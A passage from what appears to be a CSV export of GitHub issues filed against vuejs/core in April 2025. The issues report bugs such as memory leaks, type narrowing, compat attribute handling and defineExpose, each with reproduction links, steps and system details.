_No response_","has workaround,:exclamation: p4-important",2025-04-16T09:09:16Z,2025-05-01T09:55:37Z,2
vuejs/core,2998953325,Detached elements casued by getting computed value in ref function,"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9Ustu2zAQ/JUtL7IB10LQngzZfSFA20NbND0SKBRpZTORSIEPx4DAf+8uJdlu0eQikTuzsw/OID70/foYUGxE4Sqreg8Ofeh3UquuN9bDABYbiNBY00FG1OwMfTJdP8XXOV9YiWCpK6MdKR3ME2w5f+FtwKXURT4WIXm6eOz6tvRIN4DiPnhvNLyvWlU9bqWYsl/xX4rdMIx67yD7rGrMYAPZHQUyiLHIx+RRKLV1fK2aSYSSi9QewUV+VVSshHfUaqP26wdnNC1hYAUpKmKrFu333isaRYoNJISxsm3N09cU46lWc7w6YPX4n/iDO3FMih8WHdojSnHGfGn36Ef49u4bnuh8BjtTh5bYL4A/0Zk2cI8j7WPQNbV9xUvdfknvpfT+l7s9edRuHoobZWZMfCno/XhRz41+affN+m3KkzrSFue3v7jo2j+8zOCx/sdEeEp4jU0ZWuKxXvLe4veKsrBTHuJyLj46qjGGLDELLhZL2O5giOSsC+e+tMSZoElmGiB9LdWwetYF1hyPicWboMNLRj3cwIY8Te6ai3BbkWzGezAatS/yw83fbhPxD8fFH+g=)

### Steps to reproduce

1.  Open DevTools and navigate to memory tab
2.  Click ""Hide"" button
3.  Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile.

### What is actually happening?

Detached \<h1\> shows up in the memory profile.

### System Info

```shell
Chrome 135.0.7049.85
```

### Any additional comments?

_No response_",:exclamation: p4-important,2025-04-16T08:55:42Z,2025-05-01T09:56:44Z,0
vuejs/core,2997057889,TypeScript Union Type Narrowing: Mapped types on Generic Prop Narrows to Only the First Union Member,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8GO0zAQ/ZWRL12kVaJV4RLSSID2AAeoaLlZQm4yDS7JOLKdUFTy74yd3W66sLunZvzGb948v57Eu65Lhh5FJnJXWt15cOj7DhpF9UoK76QoJOm2M9bDCSyq0usBYYS9NS0s+O7i7bnhg2m7OyBJQxG4F5Ik+d8dwsa0+I20oW2oVswXjjNYqMU1qAyct5pq5v7zAO0Y2mVAfbtDC2PgKg05D5q0V83GK4+Q/UstCWYUoWKWG0kzBhfvrs5L5RckxdVswitJeToZxHZw4bHtGga4Asjj3lnkY9PirxSQMpins05xzYby7L2uk4MzxK5HnVKUTKAbtF86z+PZ9GzaIGCqacyvT/HM2x7jLvHODyx//uf84I7hTIq1RYd2YClnzCtbo5/g281nPPL3GWxN1Tfc/Qz4FZ1p+qBxanvfU8WyZ31R7ccYB37Lrbs9eiR3v1QQGjrH2C8FxyN499TqD3KXyet4jx+QXbyP1iy2l4HFY8yjJo92r0qMyVxb07l8C7wYUuXA7A5Y+mIaFx8tg7Vi3arJt0zCwy4f/al/CNRIaHXJ5WP2qKbCvSacxs+EFMXVC7mq9BA/AE6nu7iOrIqRdIIex+v7gDaYzcYskzfJzVKMfwGd/lI+

### Steps to reproduce

### 1. Create a Generic Component

Define type-based props where `state` is mapped typed. This reproduction is using the built-in `Partial<T>`.

```vue
<script lang=""ts"">
export interface CompProps<T extends object> {
  state: Partial<T>
}
</script>

<script setup lang=""ts"" generic=""T extends object"">
defineProps<CompProps<T>>()
</script>

<template>
  <div>
    {{ state }}
  </div>
</template>
```

---

### 2. Use Component

Bind a value with a union type to the `state`.

```vue
<script setup lang=""ts"">
import { reactive } from 'vue'
import Comp from './Comp.vue'

type SomeUnionType = { type: 'a', a: string } | { type: 'b', b: number }

const initialState: SomeUnionType = {
  type: 'b',
  b: 1
}

const state = reactive<SomeUnionType>(initialSta... [TRUNCATED]",scope: types,2025-04-15T16:56:21Z,2025-04-17T00:23:45Z,2
vuejs/core,2996355057,compat: ATTR_FALSE_VALUE incorrectly removes value attribute on inputs,"### Vue version

@vue/compat@3.5.13

### Link to minimal reproduction

https://codepen.io/markrian/pen/NPPKOqm

### Steps to reproduce

1. Use `@vue/compat` with the `ATTR_VALUE_FALSE` compat flag enabled.
2. Bind a `false` value to an input's `value` attribute.
3. Note that the `value` attribute is removed from the input.
4. If it's a type=text input, the `value` property is correctly coerced to `""false""`.
5. If it's a type=hidden input, the `value` property in _incorrectly_ coerced to `""""`.

### What is expected?

The `ATTR_VALUE_FALSE` should not affect behaviour of inputs that's consistently across Vue 2.x and Vue 3.x.

### What is actually happening?

The `ATTR_VALUE_FALSE` is overzealous and also drops falsy `value` attributes on inputs.

### System Info

```shell
N/A
```

### Any additional comments?

Note that both Vue 2.7.16 and Vue 3.5.13 behave the same way - the expected way. It's only the compat build with the `ATTR_FALSE_VALUE` flag that isn't behaving as expected:

- [`vue@2.7.16`](https://codepen.io/markrian/pen/gbbYBaB)
- [`vue@3.5.13`](https://codepen.io/markrian/pen/KwwPGpP)",":hammer: p3-minor-bug,scope: v2 compat",2025-04-15T13:01:15Z,2025-05-20T00:43:52Z,0
vuejs/core,2995857330,defineExpose not actually exposing from component,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUstOwzAQ/BXLF1KpSg9wKmklQD2AxEOlR1+iZBNSHNvyI0SK8u+sHZqmFYWbd2fGnvVsR++UihsHdEkTk+lKWWLAOrVmoqqV1JZ0RIpn6YSFnPSk0LImVyi4up0wnIEd1IqnFrZQnNOYyKQwlmgoQIPIgKzOFBGjI8joLGjGV6NoRlZr0jFBjlfETcodxIWUkaf3MyaSxTAAWsfC/tyOFSHJg6yVF69OHlonCw8gJVlM+HROrUHLRVXGeyMF/k14nNEM2RUH/apshSMxuhxseSzlXH49hZ7VDuaHfvYB2ecv/b1pfY/RNw0GdIN+RsymugQ7wJv3F2jxPIK1zB1H9h/gFozkznscaPdO5Gh7wgtuH0N+lSh3ZtNaEOYwlDfqmX3gM4pB+o+6NPrR7nV8E3SYCP6i11xYrmEjMD7chUm+vi05xFyWuBMID9uA9zGRQ1EJ2LRKGoi6oP0v9rxqwgFN+nIx1Kdh998CHQSu

### Steps to reproduce

The bug should automatically show when the playground opens. It throws errors cause `reference.value.foo` ""is not a method"" but it actually is, and it is exposed via `defineExpose` function.
Accessing the method via `reference.value?.$.exposed.foo()` works fine.

### What is expected?

To be able to access exposed method without too much hassle

### What is actually happening?

The exposed method is not shown in autocomplete and throws an error when called

### System Info

```shell
System:
    OS: macOS 15.1
    CPU: (8) arm64 Apple M2
    Memory: 85.61 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  Browsers:
    Chrome: 131.0.6778.86
    Safari: 18.1
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comment... [TRUNCATED]",,2025-04-15T09:53:34Z,2025-04-15T10:02:26Z,1
vuejs/core,2994995773,用vue构建web-components组件库，输出dist时，如果没有将vue外部化，那么其他vue项目引入时，会破坏热更新。,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/xinnian999/arto-ui

### Steps to reproduce

pnpm i 
pnpm build 用vite+vue构建web-components组件库（这一步并没有外部化vue）
pnpm dev 运行一个vue项目并引入了上一步构建的dist

这时候修改play/vue下的代码，热更新会失效

### What is expected?

期望即使我将vue构建到了组件库dist里，别人引入我的组件库也不会破坏vue的热更新

### What is actually happening?

![Image](https://github.com/user-attachments/assets/049b657d-0e9a-45c5-b077-cec63c5b4392)

### System Info

```shell
System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 Intel(R) Xeon(R) Gold 6234 CPU @ 3.30GHz
    Memory: 13.60 GB / 31.65 GB
  Binaries:
    Node: 20.18.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 10.8.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.12.1 - ~\AppData\Roaming\npm\pnpm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (129.0.2792.89)
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_","scope: hmr,has workaround,🔩 p2-edge-case",2025-04-15T03:49:28Z,2025-04-16T02:08:32Z,7
vuejs/core,2992469235,[custom elements api] Cannot set properties of null (setting 'parent') with { shadowRoot: false },"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVU1v2kAQ/StTXzAKH+nHiQJqg5CaHtooidSLL449hk2WXWt3DZGQ/3tnvXZsg0OD0hN45s3s23nP4733PU1H2wy9iTfVkWKpAY0mS+eBYJtUKgN7hckAIrlJM4NxDomSG+hRSe8Fslj+UWGaovotsMyPxs2gPaEDfr+Tx3AKlvBARFJoA0zfreVOwAyIip+EXGP/a52OZCZMmbzs1/GHzBgp7vHZJiv+vt+fzWEfCACWgF/UjrYhzxBmsxlc9qmNyZSAnj2zfTNqa1AYYtZd/LEu/sFiPK/40xtOhnAVMgGhiEkkBLNGQKWk6mw6b7a8NrBjnIPALSqKiph+im5UmxdDC0SSicgwKWBNJyC/Kua34Cx68vtuYk6IijV8aAUsokHg4oI6B2I6drYiQ9GDwU3KQ4P0BDB1CsG3yJ4xC7yjcwNvvt/XOub5dOyeim7UoTWlSUmHOpX/qN7CmkCy19id3nIohabjBjtv4BlNY0/YavSopaD3oxhB4FknMU5FqZ2VDryJs5PNhZzL3c8iZlSGgyoerTF66og/6mcbC7wbhRrVFgPvJWdCtULj0su7X3T9RnIj44wT+kTyFrXkmeXoYFeZiIl2A1ewvS7eSSZW93r5TCbT1aUsUYvMC3zg0Tu5OHH1mu7n0ZeijuSnKS4ybeRmyXFDBi5XweGyAR6KFalmqGVj8UCMCRN4o2Sqobl4ipe/kZw23TmBByk5hgTJ5z5Z+5QDY7aF7ZAlXZbRXBqovELADou0LlcuLnu5o0PO6XmwN987rHrtHihRr94OieyMD1q3YO/Qo9rPi6UlMevq7h9SGhALvQ5jubuV0kyg+AiAW1x28X2ImgV6RFb0ey42RBccSoG9ft859gDuKHRWDBxP+8H5xzY7LrYbaahfW0nWC5UVjmtPOaPhtFe+2W+RrMsWrS9yh7md1JV+Fv0G/Qj2P/QzO3mmfrbC6kcEztePikul3GWgTAAlqg9yp3iusCGel/8FmKlMQQ==

### Steps to reproduce

Click on the button multiple times and see `Cannot set properties of null (setting 'parent')`

### What is expected?

No issue with setting parent and `Custom element two content` renders properly when we click on the button multiple times

### What is actually happening?

First time custom elements are mounted properly, then we hide them clicking on the button.

When we click on ... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-04-14T09:30:41Z,2025-05-22T00:05:41Z,0
vuejs/core,2990451099,Incorrect error message when `<script>` `<script setup>` has different languages,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kcFKxDAQhl8l5qRQWpbqpbQFlQX1oKKCl4CUdqxd0yQk01pY+u5OUnZdRb0l838z88/Mlp8bE48D8IznrradQSYr1RaCoxO8FAomoy2yWiuHrGIFWwmVJwtKMn1+pk2CMwc4GJKXtEvdG8o8PmFFyXJTXoGUOmLP2srmKE88+L0kQm9khUA/xvKQngToQOAR9aL6r10bb5xWNMHW44LXxHcS7J3BjvoLnrGgeK2izh83IYZ2gGgXr9+gfv8lvvHjZPS4t+DAjiD4XsPKtoCLvH68hYnee7HXzSCJ/kd8AKfl4D0u2MWgGrJ9wAW3172/QKfaJ7eeEJTbDeWNenIOvOB0Rr+qv0b/spvGpyFPqJm2+DKC9TVpgWl8Fq9SPn8CK16u/w==

### Steps to reproduce

See the reproduction.

### What is expected?

report `Error: [@vue/compiler-sfc] <script> and <script setup> must have the same language type.` rather than random errors.

### What is actually happening?

it reports `SyntaxError`

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (6) x64 AMD Ryzen 5 4500U with Radeon Graphics
    Memory: 637.19 MB / 7.23 GB
  Binaries:
    Node: 22.13.1 - C:\nodejs\node.EXE
    Yarn: 1.22.22 - ~\AppData\Local\pnpm\yarn.CMD
    npm: 10.9.2 - C:\nodejs\npm.CMD
    pnpm: 10.7.0 - ~\AppData\Local\pnpm\pnpm.EXE
    bun: 1.2.7 - ~\.bun\bin\bun.EXE
  Browsers:
    Edge: Chromium (133.0.3065.92), ChromiumDev (136.0.3209.2)
    Internet Explorer: 11.0.22621.3527
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-04-12T12:34:52Z,2025-08-20T13:05:53Z,0
vuejs/core,2988257276,Memory leaks when using a named transition component inside router-view,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ygssbhjs

### Steps to reproduce

Navigate to the first child page, then to the second one, and return to the main page.

### What is expected?

Detached DOM elements and objects should be cleared from memory.

### What is actually happening?

Detached DOM elements and objects remain in memory.

<img width=""1345"" alt=""Image"" src=""https://github.com/user-attachments/assets/bb28d168-95fa-4c20-a83e-bbc44a9ddd12"" />

<img width=""1345"" alt=""Image"" src=""https://github.com/user-attachments/assets/2faded28-14fd-46f5-9d4b-99ece5bbde81"" />

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 1.21 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.11.1 - ~/.nvm/versions/node/v20.11.1/bin/node
    npm: 10.2.4 - ~/.nvm/versions/node/v20.11.1/bin/npm
  Browsers:
    Chrome: 135.0.7049.84
    Safari: 18.1.1
  npmPackages:
    vue-router: ^4.5.0 => 4.5.0
```

### Any additional comments?

Not 100% sure, but it might be a `vue-router` bug, not something in Vue core.",can't reproduce,2025-04-11T10:29:12Z,2025-04-12T00:38:02Z,4
vuejs/core,2987569749,Watch runs unnecessarily when deep is true,"### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2L2zAQ/SuDLk4gKOymvaTx0g/20B7a0paeBEWRJ7aysmT04QSM/3vHMtmkS9mT0Mx78948aWAfuo73CdmW7YLyuosQMKbuQVjdds5HGOAko2pghIN3LRQELt7ddD1KFXWP/wCEFdZgBLc/QvkMWQygrUW/JVrEc9xCcXe/KYg5LidGFlockiW0s4slwYQFosfk7TSLZzqfuGRhXMHC4um3NCtwpqJzCeUDDBNHORucQW5cvShiowOExiVTgXURfLKwRyVTwOwDKochd1QjbY3Fkqa/mNFLkwgkPUKQLW6LFczaUJblRT57GqBC7LYQfcIV6LbFSsuIc4E2pdnC7tZz2pQzXSK2nSEM3QB2+xSjs/BeGa2eSsEoiMtacE2Bch2Ac34tjBNiFCxPARiGF5HBmBG79SxAsN36RpmtWAy080HX/BicpS+RNQVTru20Qf+tm94lCEYPOGsIJo1xpy+5lhe+1FWD6uk/9WM4TzXBvnsM6HsU7LkXpa8xzu3Hn1/J8k2zdVUyhH6l+QPpvdLkcYZ9TLYi2ze47PZz/rra1r/C4zmiDZelJqM5w4wXjH7yp1dWv9rd8Ddz9nakFP/06KeZFOCGv+V392z8C08MImU=

### Steps to reproduce

click the button

### What is expected?

because the text doesn't change, I would expect it not to run

### What is actually happening?

console.log triggers on every click, even though the text itself does not change

### System Info

```shell

```

### Any additional comments?

### Why would I use `deep` for a string?
I stumbled upon this case when I was trying to watch a number of strings like so:
```
watch(() => [props.obj.id1, props.obj.id2], ..., { deep: true });
```
but it was running even though the ids had not changed. Turns out the watch source was being evaluated as a reactive effect. I suspect from here: https://github.com/vuejs/core/blob/32bc647faba56f50a37d18b08fcc0e11b49c791f/packages/reactivity/src/watch.ts#L286","scope: reactivity,🔩 p2-edge-case",2025-04-11T05:15:14Z,2025-04-14T08:48:53Z,4
vuejs/core,2982499874,Memory leaks when using transition-group,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1v2zAM/SusLrWB1M6Q7dI5wbqhwLbDNmw7Cghch3bVyJIgyU6CwP+9lNwkBfppwLbIRz4+UtyzK2OyvkN2yQpXWWE8OPSdWXAlWqOthz1YrGGA2uoWzin0/PMR+6Zb8wBkeTACVcC5qrRyxHWrNwrmgSKpS+kwJbDIx0pUgwyPrZGlR7IAipvOe63gSyVFtZ5zdiA4iwfOFl43jUTohRM3Qgq/K/IxJ7IRg7elcsILrS4aq2MnQE8RtfYXoj6wcgb5WDR/JoecJ2FswryjjmrRZHdOK5rWPmRyVhGrkGh/m5DtOLuEiASslFJvfkaftx1ODv7qFqv1M/47tw0+zv5YdGh75OyI+dI26Ef4+t8v3NL5CLZ61UmKfgX8i07LLmgcw752akWyH8VFtT/ivQrV/HfXW480lIemgtAQOcR4zuiew0Bfav0kd5Z9jHlcDTTFw468c91iHc5O++SRPuM6KdzAlbXlLplNl9NpfNOsFlIm9G9LkyTLCYgU5gtI9iBgSNO3tm8l+sV3pEFMoMVW2x1ILNdnRR6Apzux7NGGCVE3s+xT9mHGhnsA0RtH

### Steps to reproduce

Toggle the visibility of the component and observe memory usage increasing. The detached element also remains in memory.

### What is expected?

Memory should be cleaned up after the component is hidden. The detached element should be removed from memory as well.

### What is actually happening?

Memory consumption increases when toggling component visibility. The number of detached elements also grows.

<img width=""415"" alt=""Image"" src=""https://github.com/user-attachments/assets/ae940d52-db96-4d70-aae1-fd59aa943a86"" />

<img width=""893"" alt=""Image"" src=""https://github.com/user-attachments/assets/c5085535-8804-44f2-bb51-609e2df1293a"" />

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 1.21 GB / 16.00 GB
    Shell: 5.9 - /bi... [TRUNCATED]","scope: transition,:exclamation: p4-important",2025-04-09T11:20:54Z,2025-05-01T09:58:08Z,3
vuejs/core,2982295169,"transition包括的文件根节点中如果出现注释代码,则页面切换时白屏","### Vue version

3.5.6

### Link to minimal reproduction

https://juejin.cn/post/7491093307209973812

### Steps to reproduce

<template>
  <!-- <div>注释</div> -->
  <div></div>
</template>


### What is expected?

在注释代码也应抛出警告提示,方便排查问题代码

### What is actually happening?

transition包括的文件根节点中如果出现注释代码,会导致页面切换时白屏,也不会抛出警告提示

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-04-09T10:02:06Z,2025-04-13T00:34:55Z,3
vuejs/core,2981285415,JsDoc Unable to document v-model,"### Vue version

3.5

### Link to minimal reproduction

[SFC Playground](https://play.vuejs.org/#eNqVVM2O0zAQfpVZX7os20YqnEq74keVAAlYAYID5hAl0zRLYlu2k21VKvEY3PYVeQTGdhLSst3unmLPN/H3zXg+b9gLpUZ1hWzCpibRubJg0FYKilhkM86s4eyCi7xUUlvYgMYFbGGhZQkD+m3QQa9kqZr4KHIbd+rg2Q4+3kkYtxlcJFIYC6XJYOYYTgevsSgkfJW6SE8Gj7iYRkEcSaGNxVIVsUXaAUxPhkOoTC4ySHGRC3wnUyzOQUi7dEGzlNcGFlJDPSwDVEqZgtJSGcgJon9gOAyH+TKaRCqfJHHm82mzjJVa0zbyKg4zgxTFGozVDrFrhV6DlzDxBw/ruKiQEo8J6ac/WM2lP/dxs5uXuTUjaDKaCsGshY1XYKos1q5lkMpkp1l9OeP/GtPnvi+1kGKPtlek469KFLZryK6AWxvyvFIpTcMeVss85cwpnEa9gWHnNNM0b4s8G10ZKWjwN46As4QY8gL1B2VzmkfOJuARh8U0jtdvfcxquro2niwx+XFL/MqsXIyzS40GdY2cdZiNdYY2wPNP73FF6w6kGqqCsu8AP6KRReU0hrSXlUhJdi/Pq33jfUcd/2zmK4vCtEU5oS5z6/OpURW65h4q/Z/cJ6On/j8uttTF1uNHXo7o7Ix+OoMYLDqPuzvyV+SiUWd9P42zvo+mwUAXp2T/Ni1YpU3zUzb1QgMLEE9lcGC8R0bw5+b3L6BZpu9NgIkwuM41rnXQT1qbmIaFCvN0d702aV6HRRRW+8PVvWxH+nLvgkJrgjucMT3BTjWEf3HwpHlz2jJaEnT+60i8GwMJZ33n+DPcPX8Lx3x/SDtoaQpp/YtwqDnbvy1TKxM=)

### Steps to reproduce

see SFC playground

### What is expected?

defineModel can show documentation when lsp hover. 

### What is actually happening?
```vue
<template>
  <!-- using defineModel, nothing shown for v-model, mood props is fine -->
  <Comp v-model=""msg"" mood=""happy"" />

  <!-- using defineModel,  only type shown for :model-value, mood props is fine -->
  <Comp :model-value=""msg"" mood=""happy"" />

  <!-- using defineProps + defineEmits.  using v-model syntax sugar, no docs for v-model-->
  <Comp2 v-model=""msg"" />

  <!--using defi... [TRUNCATED]","scope: types,language-tools",2025-04-09T01:15:41Z,2025-04-09T13:51:31Z,2
vuejs/core,2981162687,Diff/Reconciliation for JSX elements is wrong,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8GO2jAQ/ZWRLwtSmqiivVBYtdtupfbQVi0HEF5VJpkQL44d2U6WFeLfO04IIJVFm0vkN+/NPM+Md+xTVcVNjWzMJi61svLg0NcVKKHXU8684+yWa1lWxnrYQRGBxq2fyXQTgcU8gq9WrEvUHvaQW1PCDWW7+cA116nRzsMcplAMOMtkwxmpa6WiFnCV0CeEszlnwyEJO9nitbLFQdYLBQmXxaC31ROXi4dhSHAJfzhWXb0gnl8XH2unXjZIOagzA9G5ymtNqNGhr3eDIey4Bvo6atwIVQfBirj7/+hfMEdrMTvJkoQCWDrwBkztXSloLJnM88QieUilkqKVr+r1xULL4Dfg/RgHoVCwSuUnSbcDNHE6eCwrJTzSaVLdzgp0CP7JUGrv6brgClOrDApBV/YFghMlwgrpLI2NAi3Az5AZ0MbHk6QKmTo1fEwVFacNC+Vpx+gHq0nSRV/i9f3o+ZAdgHNhbxuaN7mxpBxkEcghSH3oBWcw3uAzRWS73KEbk9TQiuuwx2PpphkkIVVy3oLzA4voZVC/c7mOH53R9HzaAXEW8kiF9mcVxkCvZ9yPjjOhlHn63mLe1hj1eFpgurmAP7ptwDj7Zan3Njg/xrywa/Rd+P7PDxrmWbA0Wa2IfSX4G51RdfDY0e5qnZHtM17r9lv78KVez9z91qN2/aWC0cDct3zO6NV/vnL1k91R/K7V0cJRF/82aENOauAofh+/HbH9P5XNhak=

### Steps to reproduce

1. Click the ""set b"" button. Note that the following text reads ""Y X"".
2. Click the ""set b deferred"" button. Note that the following text reads ""X Y"".

### What is expected?

The text should be ""X Y"" in both cases.  There is something going wrong with virtual DOM or something.

### What is actually happening?

The text is different after the the two button presses.

### System Info

```shell
Firefox
```

### Any additional comments?

Full code of the repro in a single SFC:

```
<script setup lang=""ts"">
import { h, nextTick, ref, Fragment } from 'vue';

const X = h(""div"", null, h(""span"", null, ""X""));
const Y = h(""div"", null, h(""span"", null,... [TRUNCATED]",,2025-04-08T23:44:36Z,2025-04-09T00:34:07Z,2
vuejs/core,2979037392,"When referencing an asynchronous component, it is not possible to correctly obtain the exposed properties and methods from the reference.","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Vl1v2jAU/StX2UOChEiT7YkBWtf1YXvYqsLbMk1puIG0IY5iB5gq/vuu7SQmIaVr1SFEsO/XOfbxdR6tyzwfbUu0xtaER0WSC+AoynwWZMkmZ4WARyg5LnCTp6HAW4zhAHHBNmBTlP2xcbvkf7Loim28yjpymxmZv8fTP/H0O540lTdOclDbI5ZxAWEVRqA8mHZgOnZt9mhkD3qC/DNBfivIxPSEGKMJWIfZMsWrNIkeKMIZwHQGj0EGkMTgHOMebcO0xIE2ArguLNYICeUIswiBxRowRMSeZZgJiMIM7hBWSFWwQB0nq7IURylbGQ4mvz1sLVZVtCm5ZjvcYjEEQbVxnzOOSyAEgpBwKLMlxgn9LE9rnWYdCeRiLmNV/kMPadrm/0q6yt8mXRd9W9JV1qdIG8fnKb+YcTc58T2p11Q7JWkKiD6S3VSnFOk7cXXPoG5BA1GdChoBTOYlzzHjekTj2grvaGXDMpVB0kAm0zsKjKeBdXxyA2s2Ma2kTua2arWyx2Ga3oXRg0m/TLazlIXLJFt1heVNXGntzTpxWxReQ8jvEJJdpUXIf2tC/gsIqfaqAZrdVvCkRfvclUKwDD5FspWR41FjI0+pTqkLLamJq70pslXZGlqCk7biZDW65yyju0Ydg8CSsJMUix+5SEh7gTWuDwitWZqy3Tc1J4oSh/V8tMbooWf+nu/lXGDdFMix2GJgNTYRFgRVm6/n33FP/xvjhi3LlLzPGG+RzkUpMWq3z9QeCPaRn0L7VV1btCsLfr0XtNA1KQlUnRrlH1h0jcklfoq6gft+9KE+bbSKrRu158bWdw+FztkGv4QipLtH6+PoBirIuaBnhju4obs14eg4tGQs3eJgOqtAUMpFskFWCscxszJaOTq253nyupNzhyF4FxcXui/QL6ENd2HSQuLQfKB7Kl6rPuSonE1XGYMdyo9N8eR7rrM0AudlFCHnIM+COQjeSItdu3WVWL9G9CzfOXSK72uhtY/oOXStNyEDkYyyedMrUdVq9Fbqhj6Gn3YD1P6lJKYXQxFzfg/pHU670vbUKvsnregdV3rplUvLsSOajq1fOl35qHEtK/14QkrSpEnprZKfYzHRZplkz99Wz2jKP6Opw18jpMXj

### Steps to reproduce

An error will occur when you try to use the properties or methods exposed by an asynchronous component. Whether you use `defineExpose` to expose them in the `setup` function or use `expose` in a non-`setup` environment, you won't be able to correctly obta... [TRUNCATED]","scope: suspense,:hammer: p3-minor-bug",2025-04-08T08:35:09Z,2025-04-08T09:12:39Z,1
vuejs/core,2978141535,Same-name shorthand (`:type`) breaks radio group behavior,"### Vue version

3.5.13 

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVcFuGjEQ/ZWRT0QK0KQ9uSRSU3FoUUOURD1Zqja7XmritS3bS0Fo/71jm12WhiC1x+bCembejJ+fx8OWfDJmtKo5oWTiciuMB8d9ba6ZEpXR1sMWLC+hgdLqChhBLCMfu+ijXixk9iT5Te29Vj/msxY4Gr+MhZ1OZd/cz2fT29crpHhXhalcK+chr63lyn/PZM3hKvAdqFrKsx5EGy9wMX9a8twjZssUAJbm8oKGU4XUC0bOO/dl576M7gaLTcZJIhQHDc8rIzPP0QKYVJlQcYXrQqyu+5wobLeHJJtmMg6oUCimOKSFBHcVAOYz2sZ2BVsDzZfC7oMAq2Gp7RUjg8j+HJ755gyEOpSAkX4KRQxm4O+hfzWsdMElhvrs/8iNch3LppEARuL3MOY3JkRsVgjdj4y7c7YCpfVen1cES63xF6KlhDckXLB2XToZ95oXTec3Miyp1RpffMCWWvlhmVVCbii4TLmh41aU+AoapkKZBCuEwzoIKSVfYxATcTEshE37Usi1rCsVQ4vMULh4ZwIQqyC53b7knHiHD7UUi9HSaYXTKFZH+XRlhOR2nu6AEXxL6WiMZFLqX1+jz1u8sNaf/+T58xH/0q2Dj5E7y/EwK1S2i/nMLjhebghPH275GtddEO+ylog+EbznDs8ZOCbYTa0KpN3DRbZf4twTavHopmvPlWsPFYgGZBPxccx+PnH0Pd33ow8xDxVFFY+P3CPDveClUPzOauMG+1lI4cFbZBdJhE47cMRupBBGaxiI/fEaux3Hair7LViD7a5CwENEn5qfcf+2a4Uyte89ovhlBOiu+8MnmJFRbP2UiGM21sH5mvq9rXrQ8Ed02v+x/F9a/bNEzW/E86KX

### Steps to reproduce

1. Open the [linked playground](https://play.vuejs.org/#eNrlVcFuGjEQ/ZWRT0QK0KQ9uSRSU3FoUUOURD1Zqja7XmritS3bS0Fo/71jm12WhiC1x+bCembejJ+fx8OWfDJmtKo5oWTiciuMB8d9ba6ZEpXR1sMWLC+hgdLqChhBLCMfu+ijXixk9iT5Te29Vj/msxY4Gr+MhZ1OZd/cz2fT29crpHhXhalcK+chr63lyn/PZM3hKvAdqFrKsx5EGy9wMX9a8twjZssUAJbm8oKGU4XUC0bOO/dl576M7gaLTcZJIhQHDc8rIzPP0QKYVJlQcYXrQqyu+5wobLeHJJtmMg6oUCimOKSFBHcVAOYz2sZ2BVsDzZfC7oMAq2Gp7RUjg8j+HJ755gyEOpSAkX4KRQxm4O+hfzWsdMElhvrs/8iNch3LppEARuL3MOY3JkRsVgjdj4y7c7YCpfVen1cES63xF6KlhDckXLB2XToZ95oXTec3Miyp1R... [TRUNCATED]","scope: compiler,scope: v-model,has workaround,:hammer: p3-minor-bug",2025-04-07T22:34:19Z,2025-09-24T13:23:08Z,0
vuejs/core,2976897913,Options API: exposed (computed) property on child component accessed through ref isn't reactive,"### Vue version

3.5.13

### Link to minimal reproduction

